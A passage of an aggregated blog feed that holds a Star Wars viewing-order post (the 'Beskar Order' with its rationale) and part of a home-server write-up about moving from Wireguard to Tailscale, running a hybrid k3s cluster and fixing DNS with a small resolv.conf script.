  I’ve tried to optimize for viewing time already. If you wanna trim further - you’ll be left with just the original trilogy (Episode IV, V, VI). Alternatively, just watch The Mandalorian - it stands very well by itself.
  Did you backdate this post while publishing?
  Yes. I wrote it just a few days after May 4th, and thought it would be nice.




More Rationale (SPOILERS AHEAD)
SPOILERS FROM HERE ONWARDS FOR ALL 12 FILMS. READ AT YOUR OWN PERIL
Why start with Rogue One?
  
    
Rogue One is a great film, and I love how well it segues into A New Hope. Watching them both back-to-back makes for a great experience. You have this ragged group that has laid down their lives for just a memory chip - and you get to see that bloom into an entire saga. Finishing the original trilogy from there makes sense. The Machete order strongly recommends against starting with Rogue One, but I’ve tried it and it works.
Why not stick with the Machete order as well?
  The Machete order goes (IV, V, II, III, VI), deciding to leave out Episode I, and wedging Episodes II, III before you see Return of the Jedi. I was optimizing for time here a bit, and I had to leave the prequels as “for-later” in order to make space for the remaining. If you’re doing a rewatch, and aren’t short on time - you can totally follow it. This is what it morphs into:3

    
      Beskar Machete Order
      
Rogue One: A Star Wars Story
Star Wars: Episode IV - A New Hope
Star Wars: Episode V - The Empire Returns
Star Wars: Episiode II - Attack of the Clones
Star Wars: Episode III - Revenge of the Sith
Star Wars: Episode VI - Return of the Jedi
The Mandalorian (S01E01-04)
Star Wars: Episode VII - The Force Awakens
The Mandalorian (S01E05-08)
Star Wars: Episode VIII - The Last Jedi
Star Wars: Episode IX - The Rise of Skywalker
Why add the Mandalorian at all?
  Because frankly - it is both a piece of art, and the best entry into the Star Wars canon in a long time. It also fits into chronological order just after Return of the Jedi - you see how the New Republic has been incompetent, and the ashes of the Empire. You get to experience the power vaccuum in the galaxy, which hopefully makes sense before jumping into The Force Awakens and rise of the First Order.
  Why jump to Episode VII (The Force Awakens) instead of finishing The Mandalorian?
  We jump a bit ahead (before finishing The Mandalorian) to “A Force Awakens”, getting to just the start of Rey’s story. This is the only “chronology break” in the order, but has no side-effects4. The reason for the jump (as opposed to finishing The Mandalorian first) is to have a switch in pace. While I love The Mandalorian, I think pacing it out makes it better.
  Why keep Episode VII (The Force Awakens) but not the other sequels?
  The best and the worst thing about The Force Awakens is that it is very much “Star Wars”. It doesn’t take any risks, sticks to the tropes, and more importantly - it closes mostly as a self-contained film. Yes, there are a few plot-hooks (Rey’s parentage, Luke, Finn’s coma), but given how badly they are resolved in the following films - it seems Disney didn’t have any better idea to the answers than the viewers. It also gives you a “tasting experience” of the sequels. The sequels have always been polarizing, and watching it gives you a better heading to make the choice b/w Prequels/Sequels later on in the order.


We close with The Mandalorian finale. The Mandalorian isn’t, strictly speaking, essential viewing. While there are hooks, it doesn’t really change anything of consequence to the main saga (at least not in Season 1). But frankly, it is so well made - you deserve to enjoy it. Just look at the trailer:


If you have feedback, send me a tweet. If you’re reading this in the future, note that this was written in May 2020 and could not include media yet to be published.
Happy Star Wars Day! ↩
Beskar is the Star Wars universe’s Vibranium, and features majorly in The Mandalorian as a minor plot device. ↩
The arguments against starting with Rogue One don’t even apply to rewatches, so we ignore the Machete Guideline to keep it to the end. ↩
In other words, watching The Force Awakens can’t alter the experience of watching the last few episodes of The Mandalorian season 1. ↩]]></description>
            <content:encoded><![CDATA[<p>I tweeted out my recommended viewing order for Star Wars recently<sup id="fnref:0"><a href="#fn:0" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>:</p>

<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Happy <a href="https://twitter.com/hashtag/StarWarsDay?src=hash&amp;ref_src=twsrc%5Etfw">#StarWarsDay</a> folks. If you&#39;ve somehow managed to avoid watching Star Wars, here&#39;s my recommended viewing order (No Spoilers, 1/n) <a href="https://t.co/K70O4ydCB7">pic.twitter.com/K70O4ydCB7</a></p>&mdash; Nemo (@captn3m0) <a href="https://twitter.com/captn3m0/status/1257316569949990914?ref_src=twsrc%5Etfw">May 4, 2020</a></blockquote>


<p>Thought I should expand a bit on the what and why. Spoilers towards the end (marked). I also went ahead and named it:</p>

<h1 id="the-beskar-order">The Beskar Order</h1>

<ol>
  <li>Rogue One: A Star Wars Story</li>
  <li>Star Wars: Episode IV - A New Hope.</li>
  <li>Star Wars: Episode V - The Empire Returns</li>
  <li>Star Wars: Episode VI - Return of the Jedi</li>
  <li>The Mandalorian (S01E01-04)</li>
  <li>Star Wars: Episode VII - The Force Awakens</li>
  <li>The Mandalorian (S01E05-08)</li>
</ol>

<hr />

<p>If you’ve enjoyed the above, you should pick between the following 2 next:</p>

<ol>
  <li>If you liked the core Skywalker Saga (Episodes IV-VI), and want to explore Anakin’s origins - Go and watch the prequel trilogy (Episode I, II, III).</li>
  <li>If you liked Force Awakens, you should go finish the sequels (Star Wars Episode VIII, IX)</li>
</ol>

<p>In either case, I want to leave this as a choice to the viewer. The prequel trilogy has a lot of flaws. <a href="https://www.nomachetejuggling.com/2011/11/11/the-star-wars-saga-suggested-viewing-order/">The Machete order</a> famously <em>drops an entire film</em>, and it wasn’t even trying to make room. Go to the prequels if you want to explore the lore. On the flip side, if you liked how Disney handled Episode VII, and want to see closing arcs for the major characters, try the sequels. I wouldn’t recommend interleaving them - it doesn’t get you much and makes it confusing.</p>

<p>If you’re still here after finishing both of these (that makes for a total of 10 films and 1 season of telly) - you ought to explore for yourselves. Here’s suggestions depending on what you’d like:</p>

<dl>
  <dt>Clone Wars (TV Series, 7 seasons)</dt>
  <dd>for exploring the franchise at a less grand scale. There’s an <a href="https://io9.gizmodo.com/the-essential-clone-wars-stories-every-star-wars-fan-sh-1842597580">Essential viewing order</a>, which covers all the major arcs and best episodes.</dd>
  <dt>The Mandalorian (Season 2, Oct 2020)</dt>
  <dd>To find out what happens to Baby Yoda</dd>
  <dt>Star Wars: Rebels (TV Series, 4 Seasons)</dt>
  <dd>If you want to explore new characters and like something Firefly-esque.</dd>
</dl>

<p>There are boardgames, RPGs, and some really great books in the franchise as well. Pick what you’d like to explore.</p>

<hr />

<h2 id="inspiration">Inspiration</h2>

<p>The classic <a href="https://www.nomachetejuggling.com/2011/11/11/the-star-wars-saga-suggested-viewing-order/">Machete Order</a> which does a lot of great things, by skipping a film, preserving tension and plot-twists. Also of note are the <a href="https://www.inverse.com/article/10533-these-are-the-5-best-star-wars-fan-edits">various fan-edits</a>, of which I’ve only ever tried <a href="https://en.wikipedia.org/wiki/The_Phantom_Edit">The Phantom Edit</a>.</p>

<h2 id="rationale">Rationale</h2>

<p>I tried to optimize for a few things:</p>

<ol>
  <li>Fun while watching the series. So good stuff comes first, paired films etc, and intentionally including The Mandalorian.</li>
  <li>Easy stoppage. In case you don’t like the series, you should be able to stop midway, and still have seen the important/best bits.</li>
  <li>Sticking to chronological order in the stuff I picked (as much as possible). Sticking to chronology makes it easier to consume.</li>
  <li>Total time. I don’t want to prescribe a “complete-viewing-order”, but rather a “starting point”.</li>
</ol>

<p>(1) is easy to optimize for. (2/3) results in things getting thrown around a bit, and (4) means I leave out stuff that you should pick for later.</p>

<h2 id="why-not-include-__">Why not include <em>__</em>?</h2>

<p>This is not meant to be an exhaustive order, and I was optimizing for total time. Important mentions:</p>

<dl>
  <dt>Solo</dt>
  <dd>Not really essential viewing.</dd>
  <dt>Star Wars: The Clone Wars</dt>
  <dd>The film is terrible (5.9 on IMDB), because it wasn’t meant to be one.</dd>
  <dt>Star Wars: The Clone Wars TV Series</dt>
  <dd>I wanted to stick to the main saga, and its just too damn long to recommend casually in any viewing order.</dd>
  <dt>Star Wars: Holiday Special</dt>
  <dd>I still can’t bring myself to finish it. It isn’t even canon any more (Life Day is)</dd>
  <dt>Legends/Resistance</dt>
  <dd>Again, not essential viewing.</dd>
</dl>

<h1 id="faq">FAQ</h1>

<dl>
  <dt>Who is this for?</dt>
  <dd>Recommended for first-time viewers. If you are doing a rewatch, I recommend following <a href="#beskar-machete-order">The Beskar Machete order</a>.</dd>
  <dt>Have you watched everything Star Wars?</dt>
  <dd>I can’t even claim to have watched all 12 films, because I couldn’t finish The Clone Wars (movie). I’m still watching Clone Wars (TV series).</dd>
  <dt>Why Beskar?</dt>
  <dd>I wanted something that would work well with Machete, for the hybrid order. It also makes a point about <em>The Mandalorian</em> <sup id="fnref:4"><a href="#fn:4" class="footnote" rel="footnote" role="doc-noteref">2</a></sup> belonging in the order.</dd>
  <dt>I don’t have this much time!</dt>
  <dd>I’ve tried to optimize for viewing time already. If you wanna trim further - you’ll be left with just the original trilogy (Episode IV, V, VI). Alternatively, just watch <em>The Mandalorian</em> - it stands very well by itself.</dd>
  <dt>Did you backdate this post while publishing?</dt>
  <dd>Yes. I wrote it just a few days after May 4th, and thought it would be nice.</dd>
</dl>

<hr />

<h2 id="more-rationale-spoilers-ahead">More Rationale (SPOILERS AHEAD)</h2>

<p><strong>SPOILERS FROM HERE ONWARDS FOR ALL 12 FILMS. READ AT YOUR OWN PERIL</strong></p>

<dl>
  <dt>Why start with Rogue One?</dt>
  <dd>
    <p>Rogue One is a great film, and I love how well it segues into A New Hope. Watching them both back-to-back makes for a great experience. You have this ragged group that has laid down their lives for just a memory chip - and you get to see that bloom into an entire saga. Finishing the original trilogy from there makes sense. The Machete order <a href="https://www.nomachetejuggling.com/2015/12/28/machete-order-update-and-faq/#toc-where-do-episode-vii-and-rogue-one-fit">strongly recommends against starting</a> with Rogue One, but I’ve tried it and it works.</p>
  </dd>
  <dt>Why not stick with the Machete order as well?</dt>
  <dd>The Machete order goes (IV, V, II, III, VI), deciding to leave out Episode I, and wedging Episodes II, III before you see Return of the Jedi. I was optimizing for time here a bit, and I had to leave the prequels as “for-later” in order to make space for the remaining. If you’re doing a rewatch, and aren’t short on time - you can totally follow it. This is what it morphs into:<sup id="fnref:3"><a href="#fn:3" class="footnote" rel="footnote" role="doc-noteref">3</a></sup>

    <details>
      <summary id="beskar-machete-order"><strong>Beskar Machete Order</strong></summary>
      <ul>
        <li>Rogue One: A Star Wars Story</li>
        <li>Star Wars: Episode IV - A New Hope</li>
        <li>Star Wars: Episode V - The Empire Returns</li>
        <li>Star Wars: Episiode II - Attack of the Clones</li>
        <li>Star Wars: Episode III - Revenge of the Sith</li>
        <li>Star Wars: Episode VI - Return of the Jedi</li>
        <li>The Mandalorian (S01E01-04)</li>
        <li>Star Wars: Episode VII - The Force Awakens</li>
        <li>The Mandalorian (S01E05-08)</li>
        <li>Star Wars: Episode VIII - The Last Jedi</li>
        <li>Star Wars: Episode IX - The Rise of Skywalker</li>
      </ul>
    </details>
  </dd>
  <dt>Why add the Mandalorian at all?</dt>
  <dd>Because frankly - it is both a piece of art, and the best entry into the Star Wars canon in a long time. It also fits into chronological order just after Return of the Jedi - you see how the New Republic has been incompetent, and the ashes of the Empire. You get to experience the power vaccuum in the galaxy, which hopefully makes sense before jumping into The Force Awakens and rise of the First Order.</dd>
  <dt>Why jump to Episode VII (The Force Awakens) instead of finishing The Mandalorian?</dt>
  <dd>We jump a bit ahead (before finishing The Mandalorian) to “A Force Awakens”, getting to just the start of Rey’s story. This is the only “chronology break” in the order, but has no side-effects<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">4</a></sup>. The reason for the jump (as opposed to finishing The Mandalorian first) is to have a switch in pace. While I love The Mandalorian, I think pacing it out makes it better.</dd>
  <dt>Why keep Episode VII (The Force Awakens) but not the other sequels?</dt>
  <dd>The best and the worst thing about <em>The Force Awakens</em> is that it is very much “Star Wars”. It doesn’t take any risks, sticks to the tropes, and more importantly - it closes mostly as a self-contained film. Yes, there are a few plot-hooks (Rey’s parentage, Luke, Finn’s coma), but given how badly they are resolved in the following films - it seems Disney didn’t have any better idea to the answers than the viewers. It also gives you a “tasting experience” of the sequels. The sequels have always been polarizing, and watching it gives you a better heading to make the choice b/w Prequels/Sequels later on in the order.</dd>
</dl>

<p>We close with The Mandalorian finale. The Mandalorian isn’t, strictly speaking, essential viewing. While there are hooks, it doesn’t really change anything of consequence to the main saga (at least not in Season 1). But frankly, it is so well made - you deserve to enjoy it. Just look at the trailer:</p>

<iframe width="700" height="393" src="https://www.youtube-nocookie.com/embed/aOC8E8z_ifw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>

<p>If you have feedback, <a href="https://twitter.com/captn3m0">send me a tweet</a>. If you’re reading this in the future, note that this was written in May 2020 and could not include media yet to be published.</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:0">
      <p>Happy Star Wars Day! <a href="#fnref:0" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4">
      <p><a href="https://starwars.fandom.com/wiki/Beskar">Beskar</a> is the Star Wars universe’s Vibranium, and features majorly in The Mandalorian as a minor plot device. <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3">
      <p>The arguments against starting with Rogue One don’t even apply to rewatches, so we ignore the Machete Guideline to keep it to the end. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:1">
      <p>In other words, watching <em>The Force Awakens</em> can’t alter the experience of watching the last few episodes of The Mandalorian season 1. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Using Tailscale for home server]]></title>
            <link>https://mrkaran.dev/posts/home-server-updates/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/home-server-updates/</guid>
            <pubDate>Thu, 23 Apr 2020 02:40:55 GMT</pubDate>
            <description><![CDATA[For those of you who are new to my blog, I had written about my home server setup (hydra) a few months back. Since then I’ve tweaked the setup a bit and made some changes to how I organise/deploy applications inside my cluster. I’ll be talking about the updates made so far and the reason behind them.
A brief overview of what has changed from hydra v0.1 to hydra v0.2:
Replaced Wireguard with Tailscale
Added a new worker node (residing in DigitalOcean, Bengaluru) to the existing RPi k3s cluster.
Shifted from PiHole to Adguard DNS upstreaming to Unbound.
Containerised all workloads and deployed on K8s (using k3s platform).
The setup looks something like this now:

Let’s take a quick look at some of the above things in detail!
Using Tailscale#
So, before we jump to why I started using Tailscale, let’s address a few things about Wireguard which bothered me.
Adding new devices is a real PITA and quite often laziness kicks in to generate a QR code or Private/Public key pair. So, for those of you unaware, Wireguard needs a client config to add the server endpoint and it’s public key for the client to communicate with the server. You need to add the client’s private key on the server-side as well for the exchange of encrypted packets to happen. Doing all of this manually has been one of the reasons I’ve not added/updated my devices as regularly as I’d like to do. For eg, on my recently bought iPad, I just haven’t bothered to do all of this, cause ugh I am lazy?
Having a central VPN server to talk to my RPi from my local network just doesn’t seem right you know? Especially when both devices are literally lying in the same room, sending the packets to a server somewhere in Electronic City (DO, blr region) from JP Nagar (where I live) feels like totally unnecessary. I really needed a mesh network to reduce wasted bandwidth and latencies. Having a central VPN server is also a SPOF, not that my home-server runs any mission-critical workloads, but still good to avoid where we can. Where else can I flex my ops-chops skills if not my home server, eh?
I started looking at different mesh VPN setups and Tailscale attracted me the most. I heard about Tailscale first time when I saw bradfitz’s post about leaving Google and joining Tailscale on HN. Interestingly, Tailscale is built on top of wireguard-go (the userspace implementation of Wireguard kernel module). Since I was already familiar with Wireguard and had been using it for almost a year, I got curious on Tailscale.
Tailscale basically sets up a point-to-point encrypted network across all your devices. What that means is there’s no “relay” (like Wireguard server) and clients can talk to each other directly. While it may seem that it is easy to set this up with a bunch of shell scripting-foo (just add all Wireguard peers in each peer config), Tailscale attempts to do a lot of the heavy lifting by making the network seamless and handling authentication.
Coordination Server#
So, when we add a new device to Wireguard server, we basically need to generate a private/public key pair as explained above. When you’re setting up Tailscale agent, it does all of this in the background and asks you to authorise to a central co-ordination server. Now, this server is only used to exchange information about each peer in your network. The tailscale agent uploads the private/public key information of the peer you are currently on and any time any new peer joins the network, all of the agents’ configurations are updated real-time. The coordination server periodically checks for any new changes and pushes the updates to the agent on each node.
The real juice is that they authenticate via OAuth, OIDC or SAML. Which means that you can use your existing 2FA configurations to authenticate a new node in the network. However, this might be a point of concern for some users, but I chose convenience here. Also, since the traffic flows through the nodes directly, and is encrypted there’s not much to worry here. I’ve been following Tailscale closely and they do plan to opensource the co-ordination server in future, so maybe when that happens I’ll self-host it.
NAT Traversal#
Apart from handling the auth, Tailscale does a pretty good job at handling connectivity across different network topologies. So, basically, if you want to peer 2 devices over the public internet you’d need to perform NAT Traversal. There are several NAT hole punching techniques which allow traversing NAT but since they are not standardised and sometimes due to erratic NAT behaviour, it poses quite a challenge to do it seamlessly. And, I’m not even talking about roaming networks as of yet.
Tailscale agents can perform NAT traversal using ICE and STUN. What all of this practically means is if you’re sitting in a cafe somewhere and you want to access any of your internal service it is possible without messing around any firewall ports :D
TL;DR: I decided to give Tailscale a shot and was quite impressed by how easy it was to setup. You can refer to the official docs for more instructions but I was able to set it up across 2 RPis and have them talk to each other under 15 minutes. I think that’s quite an awesome feat in itself. The only sad bit is they don’t have an Android app yet, so I am eagerly waiting for it.
Hybrid K3s Cluster#
So, I am running a k3s cluster on my RPi. At that time I was still using DO for running Pihole, Unbound, public DNSCrypt resolver etc. I decided to standardise the ad-hoc deployments to manage them efficiently. It also allowed me to play around with more on K8s which was my original goal behind buying these Pi was.
Now, I’ve 2*RPi nodes, the k8s master node runs on the 4GB RPi while the 2GB variant serves as a worker node. I decided to get a bit fancy with my setup and hooked up the k3s agent installation script on a DO node andta-da! I have a multi-arch(amd64 and arm64), hybrid (bare metal and cloud) K8s cluster ready! I think if I sprinkle some ML/AI + Bitcoins in the above setup, I’m all set to raise VC funding for hydra.
I wanted to learn Terraform as part of my work at my org as well, so I created + managed the entire droplet through terraform. The script has modules to provision a droplet, attach an elastic IP, configure firewall rules and add my SSH key to the server. Quite easy to manage and I am generally a hater of GUIs, so Terraform is indeed a blessing in disguise.
I know some of my opinions are a bit strong but don’t worry I get meme’d/burnt for this almost every day by my work colleagues.
Pihole to Adguard#
While Pihole works really well for blocking Ads it had some features lacking, particularly DOT and DOH support out of the box. I decided I’ll shift to Adguard as the codebase is in Go - something which I am a bit familiar with and also the UI feels a bit sleek and refreshing too!

Accessing internal services#
A major challenge for me was however to configure access to internal services on the K8s cluster. Since I have bare metal worker nodes, it’s not possible to deploy a cloud load balancer. For now, I went with a really simple old school solution, to expose an Nginx proxy front-ending all my services through NodePort. I am planning to look at Traefik or Istio for this but I wanted to just shipit! at this point.
Here’s a very basic example of an nginx config for ip.mrkaran.dev that I run on my cluster:
server {
        server_name ip.mrkaran.dev;
        # reverse proxy
        location / {
                proxy_pass http://100.96.239.6:30506; # tailscale IP, connecting to NodePort service
                include fluff/proxy.conf;
        }
}
30506 port is exposed by the Service object backing up the pods for that application. Since a NodePort service is available on any K8s node, you can give the Tailscale IP for any node and the routing will be handled by kube-proxy.
Challenges faced#
Mesh or mess#
Setting all of this up didn’t come without its own challenges or hurdles. Right off the bat, the first problem was that I was seeing really high latencies from my RPi node to DO node through Tailscale. Now, since both the nodes are physically in Bangalore and they are connecting to each other (or that’s what I had presumed), I didn’t expect latencies to be as high as 500-600ms. Bollocks!
Eventually, I’d figured thanks to my super restrictive rules on the firewall of DO node, I had blocked all inbound UDP connection. That means NAT hole punching through STUN is simply not possible. In such cases, Tailscale forwards all packets to an encrypted TURN server(called DERP - Designated Encrypted Relay for Packets), which basically are TCP encrypted relays. Tailscale manages this network of DERPs and the one I got connected to was somewhere in the USA.
Bottom line, I was all pumped up to talk to a DO node from my RPi node but as it turns out (no pun intended) my packets were flowing through the USA! Ah so bad. Anyway, opening up UDP from the Tailscale subnet, fixed the issue and latencies were back to being sub 10ms. Yay!
Overlay over an overlay#
Next up, were problems with K3s networking from the DO node to RPi node. The DO node was in a NotReady state because the agent couldn’t reach the server:
Apr 14 09:00:33 hydra-control k3s[19746]: I0414 09:00:33.306650   19746 log.go:172] http: TLS handshake error from 100.97.222.106:51516: read tcp 100.96.239.6:6443->100.97.222.106:51516: read: connection reset by peer
Through some trial and error and reading the docs, I figured that flannel is running as a CNI in k3s. Now the problem is flannel itself is an overlay network. But… Tailscale already is an overlay network (Wireguard) so the packets are not being routed correctly and being dropped halfway in the master node (I am guessing the DNAT/SNAT translation botched up here).
The trick was to just change flannel backend to run in the host namespace only. That solved the above issue for me.
However, I still had one more issue. The DO node’s public IP was being advertised, while the agent was running on Tailscale network interface so the master was never able to reach the agent. Similarly, when the agent tried to communicate with the server, the private IP of the node was being advertised.
Setting the --node-external-ip <tailscale-ip> in k3s config seemed to have fixed the problem.
Now all of the nodes in the cluster had proper Tailscale IPs advertised and the node went to Ready state, at last!
Who let the DNS out#
So, I’ve a chicken and egg problem in my setup. Since my laptop runs a Tailscale agent and whenever I boot up my systemm, Tailscale attempts to posts logs to log.tailsclae.io and fails to start if it cannot. The problem here is who resolves the DNS for me?
I run a local DNS server with CoreDNS forwarding my queries to Adguard. Now if I can’t reach Adguard (since Tailscale agent hasn’t initialised), how am I supposed to resolve log.tailscale.io? I did what any sane guy would do, write a simple hacky bash script:
#!/bin/bash
sudo chattr -i /etc/resolv.conf
sudo echo 'nameserver 1.1.1.1' > /etc/resolv.conf
echo "changed dns server to 1.1.1.1"
sudo tailscale up
sudo echo 'nameserver 127.0.0.1' > /etc/resolv.conf
echo "changed dns server back to 127.0.0.1"
sudo chattr +i /etc/resolv.conf
Yes, it’s quite insane. Also, I’ve not been able to figure out how to stop NetworkManager from changing my /etc/resolv.conf so I rely on a hack (documented in Arch official docs), to lock the file so any process cannot modify it. Quirky, but works!
Storage#
Unfortunately, I don’t have any external HDD/SSD so I am postponing running any stateful workloads till I get one soon (whenever lockdown gets over in my area). I plan to deploy an NFS server so I can run stateful workloads across any node and have redundancy in form of cloud backups. I’ve also heard cool things about Longhorn but unfortunately, it doesn’t have ARM support.
Final Thoughts#
Well, I am quite stoked by my current setup right now. Learnt a bunch of cool things around NAT traversal, zero-trust networking, realised the old days of LAN were so much better (not that I am that old to have experienced, my first internet connection was rather broadband at home, not even dial-up). Tailscale opens up a lot of new opportunities for corporate VPNs and it is something definitely to watch out for as they continue improving the product.
Also, I was super elated when bradfitz himself had commented on my tweet, not gonna lie!
{{< tweet 1249552822674149376 >}}
Credits#
First, a major thanks to my friend sarat with whom I pair debugged a lot of the above issues and since he also runs a home server, he was my go-to person to ask doubts!
Here are some links that I collected while setting all of this up and might be useful as references if you’re planning a similar setup!
How Tailscale Works
What are these 100.x.y.z addresses?
k3s config reference
P2P across NAT
Remembering the LAN
Cloudskew (wonderful tool for creating architecture diagrams)
If you’ve any questions please find me on Twitter @mrkaran. You can find all of the setup on GitHub.
Till next time, if we survive the pandemic!]]></description>
            <content:encoded><![CDATA[<p>For those of you who are new to my blog, I had written about my <a rel="external" href="https://mrkaran.dev/posts/home-server-setup/">home server setup</a> (<code>hydra</code>) a few months back. Since then I’ve tweaked the setup a bit and made some changes to how I organise/deploy applications inside my cluster. I’ll be talking about the updates made so far and the reason behind them.</p>
<p>A brief overview of what has changed from <code>hydra</code> v0.1 to <code>hydra</code> v0.2:</p>
<ul>
<li>
<p>Replaced <strong>Wireguard</strong> with <strong>Tailscale</strong></p>
</li>
<li>
<p>Added a new worker node (residing in DigitalOcean, Bengaluru) to the existing RPi k3s cluster.</p>
</li>
<li>
<p>Shifted from PiHole to Adguard DNS upstreaming to Unbound.</p>
</li>
<li>
<p>Containerised all workloads and deployed on K8s (using <code>k3s</code> platform).</p>
</li>
</ul>
<p>The setup looks something like this now:</p>
<p><img src="https://mrkaran.dev/images/home-server-hydra.png" alt="arch" /></p>
<p>Let’s take a quick look at some of the above things in detail!</p>
<h2 id="using-tailscale">Using Tailscale<a class="zola-anchor" href="#using-tailscale" aria-label="Anchor link for: using-tailscale">#</a></h2>
<p>So, before we jump to why I started using Tailscale, let’s address a few things about Wireguard which bothered me.</p>
<ul>
<li>
<p>Adding new devices is a real PITA and quite often laziness kicks in to generate a QR code or Private/Public key pair. So, for those of you unaware, Wireguard needs a client config to add the server endpoint and it’s public key for the client to communicate with the server. You need to add the client’s private key on the server-side as well for the exchange of encrypted packets to happen. Doing all of this manually has been one of the reasons I’ve not added/updated my devices as regularly as I’d like to do. For eg, on my recently bought iPad, I just haven’t bothered to do all of this, cause ugh I am lazy?</p>
</li>
<li>
<p>Having a central VPN server to talk to my RPi from my local network just doesn’t <em>seem</em> right you know? Especially when both devices are literally lying in the same room, sending the packets to a server somewhere in Electronic City (DO, blr region) from JP Nagar (where I live) feels like totally unnecessary. I really needed a mesh network to reduce wasted bandwidth and latencies. Having a central VPN server is also a SPOF, not that my home-server runs any mission-critical workloads, but still good to avoid where we can. Where else can I flex my ops-chops skills if not my home server, eh?</p>
</li>
</ul>
<p>I started looking at different mesh VPN setups and Tailscale attracted me the most. I heard about Tailscale first time when I saw <a rel="external" href="https://bradfitz.com/2020/01/27/leaving-google">bradfitz’s</a> post about leaving Google and joining Tailscale on HN. Interestingly, Tailscale is built on top of <a rel="external" href="https://git.zx2c4.com/wireguard-go/about/">wireguard-go</a> (the userspace implementation of <a rel="external" href="https://www.wireguard.com/">Wireguard</a> kernel module). Since I was already familiar with Wireguard and had been using it for almost a year, I got curious on Tailscale.</p>
<p>Tailscale basically sets up a <em>point-to-point</em> <strong>encrypted network</strong> across all your devices. What that means is there’s no “relay” (like Wireguard server) and clients can talk to each other <em>directly</em>. While it may seem that it is easy to set this up with a bunch of shell scripting-foo (just add all Wireguard peers in each peer config), Tailscale attempts to do a <em>lot</em> of the heavy lifting by making the network seamless and handling authentication.</p>
<h3 id="coordination-server">Coordination Server<a class="zola-anchor" href="#coordination-server" aria-label="Anchor link for: coordination-server">#</a></h3>
<p>So, when we add a new device to Wireguard server, we basically need to generate a private/public key pair as explained above. When you’re setting up Tailscale agent, it does all of this in the background and asks you to authorise to a central co-ordination server. Now, this server is only used to exchange information about each peer in your network. The tailscale agent uploads the private/public key information of the peer you are currently on and any time any new peer joins the network, all of the agents’ configurations are updated real-time. The coordination server periodically checks for any new changes and pushes the updates to the agent on each node.</p>
<p>The real juice is that they authenticate via OAuth, OIDC or SAML. Which means that you can use your existing 2FA configurations to authenticate a new node in the network. However, this might be a point of concern for some users, but I chose convenience here. Also, since the traffic flows through the nodes directly, and is encrypted there’s not much to worry here. I’ve been following Tailscale closely and they do plan to opensource the co-ordination server in future, so maybe when that happens I’ll self-host it.</p>
<h3 id="nat-traversal">NAT Traversal<a class="zola-anchor" href="#nat-traversal" aria-label="Anchor link for: nat-traversal">#</a></h3>
<p>Apart from handling the auth, Tailscale does a pretty good job at handling connectivity across different network topologies. So, basically, if you want to peer 2 devices over the public internet you’d need to perform NAT Traversal. There are several NAT hole punching techniques which allow traversing NAT but since they are not standardised and sometimes due to erratic NAT behaviour, it poses quite a challenge to do it <em>seamlessly</em>. And, I’m not even talking about roaming networks as of yet.</p>
<p>Tailscale agents can perform NAT traversal using <a rel="external" href="https://tools.ietf.org/id/draft-ietf-ice-rfc5245bis-13.html">ICE</a> and <a rel="external" href="https://tools.ietf.org/html/rfc5389">STUN</a>. What all of this practically means is if you’re sitting in a cafe somewhere and you want to access any of your internal service it <strong>is</strong> possible without messing around any firewall ports :D</p>
<p><strong>TL;DR</strong>: I decided to give Tailscale a shot and was quite impressed by how easy it was to setup. You can refer to the official docs for more instructions but I was able to set it up across 2 RPis and have them talk to each other under 15 minutes. I think that’s quite an awesome feat in itself. The only sad bit is they don’t have an Android app yet, so I am eagerly waiting for it.</p>
<h2 id="hybrid-k3s-cluster">Hybrid K3s Cluster<a class="zola-anchor" href="#hybrid-k3s-cluster" aria-label="Anchor link for: hybrid-k3s-cluster">#</a></h2>
<p>So, I am running a <code>k3s</code> cluster on my RPi. At that time I was still using DO for running Pihole, Unbound, public DNSCrypt resolver etc. I decided to standardise the ad-hoc deployments to manage them efficiently. It also allowed me to play around with more on K8s which was my original goal behind buying these Pi was.</p>
<p>Now, I’ve 2*RPi nodes, the k8s master node runs on the 4GB RPi while the 2GB variant serves as a worker node. I decided to get a bit fancy with my setup and hooked up the <code>k3s</code> agent installation script on a DO node and<em>ta-da!</em> I have a multi-arch(<code>amd64</code> and <code>arm64</code>), hybrid (bare metal and cloud) K8s cluster ready! I think if I sprinkle some ML/AI + Bitcoins in the above setup, I’m all set to raise VC funding for <code>hydra</code>.</p>
<p>I wanted to learn <a rel="external" href="https://www.terraform.io/">Terraform</a> as part of my work at my org as well, so I created + managed the entire droplet through <code>terraform</code>. The <a rel="external" href="https://github.com/mr-karan/hydra/tree/master/digitalocean-infra">script</a> has modules to provision a droplet, attach an elastic IP, configure firewall rules and add my SSH key to the server. Quite easy to manage and I am generally a hater of GUIs, so Terraform is indeed a blessing in disguise.</p>
<blockquote>
<p>I know some of my opinions are a bit strong but don’t worry I get meme’d/burnt for this almost every day by my work colleagues.</p>
</blockquote>
<h2 id="pihole-to-adguard">Pihole to Adguard<a class="zola-anchor" href="#pihole-to-adguard" aria-label="Anchor link for: pihole-to-adguard">#</a></h2>
<p>While Pihole works really well for blocking Ads it had some features lacking, particularly DOT and DOH support <strong>out of the box</strong>. I decided I’ll shift to Adguard as the codebase is in Go - something which I am a bit familiar with and also the UI feels a bit sleek and refreshing too!</p>
<p><img src="https://mrkaran.dev/images/adguard-dns.png" alt="adguard" /></p>
<h3 id="accessing-internal-services">Accessing internal services<a class="zola-anchor" href="#accessing-internal-services" aria-label="Anchor link for: accessing-internal-services">#</a></h3>
<p>A major challenge for me was however to configure access to internal services on the K8s cluster. Since I have bare metal worker nodes, it’s not possible to deploy a cloud load balancer. For now, I went with a really simple old school solution, to expose an Nginx proxy front-ending all my services through NodePort. I am planning to look at Traefik or Istio for this but I wanted to just shipit! at this point.</p>
<p>Here’s a very basic example of an <code>nginx</code> config for <code>ip.mrkaran.dev</code> that I run on my cluster:</p>
